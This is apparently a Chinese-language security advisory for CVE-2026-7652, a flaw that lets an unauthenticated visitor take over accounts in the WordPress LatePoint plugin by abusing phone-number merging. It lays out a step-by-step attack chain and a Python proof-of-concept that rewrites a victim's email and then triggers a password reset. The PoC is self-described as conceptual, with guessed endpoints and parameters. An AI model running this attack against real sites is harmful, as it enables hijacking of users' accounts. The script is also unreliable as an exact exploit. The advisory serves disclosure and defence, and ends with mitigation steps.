IPBUF安全漏洞报告
English
CVE-2026-7652 CVSS 5.3 中危

CVE-2026-7652 WordPress LatePoint账户接管漏洞

披露日期: 2026-05-09

漏洞信息

漏洞编号
CVE-2026-7652
漏洞类型
账户接管
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress LatePoint Plugin

相关标签

Account TakeoverWordPressLatePointLogic VulnerabilityWeak AuthenticationCVE-2026-7652

漏洞概述

WordPress LatePoint插件在5.5.0及以下版本中存在一个账户接管漏洞。该漏洞源于弱密码恢复机制,允许未经身份验证的攻击者通过未认证的访客预订流程,利用基于电话号码的合并功能覆盖现有客户的电子邮件地址。在特定配置下(如启用WordPress用户集成、电话合并且禁用客户认证),攻击者可将非超级管理员WordPress用户的邮箱修改为攻击者控制的邮箱,进而通过标准密码重置流程完全接管账户。

技术细节

该漏洞的核心逻辑缺陷在于`save_connected_wordpress_user()`函数在同步LatePoint客户数据到WordPress用户时,使用了`wp_update_user()`函数但未进行所有权验证。结合未认证的访客预订流程,攻击者可以利用受害者的电话号码进行匹配并合并,从而将受害者的LatePoint客户记录中的邮箱更新为攻击者指定的邮箱。由于插件配置了自动同步,该新邮箱会被覆盖到关联的WordPress用户账户上。随后,攻击者利用WordPress标准的密码找回功能,将重置链接发送到自己控制的邮箱,从而重置受害者密码并登录。单站点安装的管理员账户因权限保护不受此影响。

攻击链分析

STEP 1
侦察
攻击者识别目标站点使用了WordPress LatePoint插件,且配置了WordPress用户集成、基于电话的联系合并,并禁用了客户身份验证。
STEP 2
利用预订流程
攻击者以访客身份发起预订请求,输入受害者的电话号码和攻击者自己的电子邮箱地址。
STEP 3
触发合并与更新
插件处理预订时,通过电话号码匹配到现有的LatePoint客户记录,并利用合并逻辑将该记录的邮箱更新为攻击者的邮箱。随后,`save_connected_wordpress_user()`函数将此新邮箱同步到关联的WordPress用户账户。
STEP 4
账户接管
攻击者访问WordPress登录页面,使用受害者的用户名或刚刚修改的邮箱请求密码重置。重置链接被发送到攻击者控制的邮箱,攻击者设置新密码并成功登录。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Concept for CVE-2026-7652 # Note: This is a conceptual demonstration based on the vulnerability description. # Actual endpoints and parameters depend on the specific plugin configuration. target_url = "http://target-wordpress-site.com" victim_phone = "1234567890" # Victim's known phone number attacker_email = "[email protected]" # Step 1: Trigger the guest booking flow with phone merge # This simulates the unauthenticated booking process that links the phone number to the attacker's email booking_payload = { "action": "latepoint_booking", "customer_phone": victim_phone, "customer_email": attacker_email, "booking_step": "confirm" # Step that triggers the merge/save } try: print(f"[*] Attempting to merge customer record for phone {victim_phone} with email {attacker_email}...") response = requests.post(f"{target_url}/wp-admin/admin-ajax.php", data=booking_payload) if response.status_code == 200: print("[+] Booking request sent. Check if email was propagated.") # Step 2: Trigger WordPress Password Reset # The attacker now initiates a password reset for the victim's username (if known) or relies on the email change reset_payload = { "action": "lostpassword", "user_login": victim_phone, # Or username, depending on WP config "redirect_to": "" } print(f"[*] Triggering password reset to {attacker_email}...") reset_resp = requests.post(f"{target_url}/wp-login.php?action=lostpassword", data=reset_payload) if reset_resp.status_code == 200: print("[+] Password reset requested. If successful, check attacker email for reset link.") else: print("[-] Exploit failed.") except Exception as e: print(f"Error: {e}")

影响范围

LatePoint <= 5.5.0

防御指南

临时缓解措施
建议管理员立即检查并升级LatePoint插件。在升级前,应暂时关闭插件的访客预订功能或用户同步功能,以防止未经授权的邮箱篡改。同时,应审查网站用户列表,确认是否存在异常的邮箱变更记录。

参考链接